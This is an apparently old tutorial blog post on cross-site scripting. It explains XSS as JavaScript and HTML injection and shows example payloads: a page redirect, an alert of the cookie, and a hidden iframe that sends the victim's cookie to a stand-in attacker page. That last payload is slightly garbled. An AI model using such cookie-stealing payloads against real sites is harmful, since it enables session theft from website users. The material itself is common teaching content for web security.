Cross Site Scripting, or know as XSS, is the most common basic web hacking tehnique… and harmless, as many would say… but on this mather I don’t realy agree, that’s why I wrote this article.

About
XSS as I knew it is a very abstract definition for javascript injection, or at least this is what I have thought until reading RSnake’s website [speak about it a bit later]…
In fact XSS is more than javascript injection, because we can modify a page entire structure through XSS, not only create some actions…
In a small definition: XSS=javascript+html

The Call Of Javascript
Even if XSS is more than just javascript, you will have to basicaly have some javascript knowlege before you can feel the real taste of cross site scripting. For the ones who don’t know javascript I recomend them http://www.javascript.com… After learning the basics of this wonderful scripting language, you will be ready to go…

Info: did I mention that Javascript was developed by Netscape, and at the beginigs had the name LiteScript?

Posibilities
With XSS you can do “extreme” stuff.. let me explain you in a small amount of words what you can do…. the most simple thing is to redirect the curent page to one you like… an ilustrative example:

<script>
document.location=”http://what-page.you.want.com”;
</script>

Also you could do something like poping up the cookie:

<script>
alert(document.cookie);
</script>

And if you know a little php you could create a page that save’s data received via get and stores them in a file/database…

<script>
var theCookie = document.cookie;
document.write(’<iframe width=\”1\” height=\”1\” style=\”visibiliy: hidden\” href=\”http://your.page.com/cookie.php?theCookie=’ +theCookie+ ‘\” ></iframe>’);
</script>

Also there are more posibilities with XSS, you just need some creativity…

More XSS
I have found a website where I have learned much about XSS… there is also a little script which encodes the normal text to ASCII, hex, decimal and Base64… also the different types of attacks are shown on which browsers there are available… check out Rsnake’s page on XSS: ha.ckers.org/xss.html

Also a great XSS database can be found at: securityfocus